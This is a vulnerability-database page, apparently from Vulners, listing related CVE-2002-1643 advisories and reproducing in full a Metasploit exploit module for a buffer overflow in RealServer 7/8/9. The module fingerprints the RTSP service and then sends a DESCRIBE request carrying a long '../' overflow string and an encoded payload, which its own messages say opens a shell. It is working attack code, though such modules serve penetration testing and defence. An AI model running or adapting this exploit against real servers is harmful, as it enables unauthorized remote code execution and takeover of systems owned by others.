Lucene search
+L

RealServer Describe Buffer Overflow

🗓️ 20 Dec 2002 00:00:00Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 109 Views

RealServer Describe Buffer Overflow exploit against RealServer 7/8/9 with buffer overflow. Reliably works on Linux, BSD, and Windows-based server

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2002-1643
7 Aug 201000:00
–circl
cve
CVE
CVE-2002-1643
28 Mar 200505:00
–cve
cvelist
Cvelist
CVE-2002-1643
28 Mar 200505:00
–cvelist
exploitdb
Exploit DB
RealServer - Describe Buffer Overflow (Metasploit)
7 Aug 201000:00
–exploitdb
exploitdb
Exploit DB
RealServer < 8.0.2 (Windows Platforms) - Remote Overflow
30 Apr 200300:00
–exploitdb
exploitdb
Exploit DB
RealServer 7-9 - Describe Buffer Overflow (Metasploit)
20 Dec 200200:00
–exploitdb
nvd
NVD
CVE-2002-1643
19 Dec 200205:00
–nvd
rapid7
Rapid7 Vulnerability Database (full)
CVE-2002-1643: Undefined Security Weakness
28 Mar 200500:00
–rapid7
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RealServer Describe Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in RealServer 7/8/9
          and was based on Johnny Cyberpunk's THCrealbad exploit. This
          code should reliably exploit Linux, BSD, and Windows-based
          servers.
        },
        'Author' => 'hdm',
        'References' => [
          [ 'CVE', '2002-1643' ],
          [ 'OSVDB', '4468']
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
        },
        'Targets' => [
          [
            'Universal',
            {
              'Platform' => %w[bsd linux win]
            },
          ],
        ],
        'DisclosureDate' => '2002-12-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_raw(
      {
        'method' => 'OPTIONS',
        'proto' => 'RTSP',
        'version' => '1.0',
        'uri' => '/'
      }, 5
    )

    http_fingerprint({ response: res }) # check method / Custom server check
    if res and res['Server']
      vprint_status("Found RTSP: #{res['Server']}")
      return Exploit::CheckCode::Detected('RealServer RTSP service detected')
    end
    Exploit::CheckCode::Safe('RealServer RTSP service not detected')
  end

  def exploit
    print_status("RealServer universal exploit launched against #{rhost}")
    print_status('Kill the master rmserver pid to prevent shell disconnect')

    encoded = Rex::Text.to_hex(payload.encoded, '%')

    send_request_raw({
      'method' => 'DESCRIBE',
      'proto' => 'RTSP',
      'version' => '1.0',
      'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + encoded + '.smi'
    }, 5)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Dec 2002 00:00Current
6Medium risk
Vulners AI Score6
CVSS 27.5
EPSS0.74701
109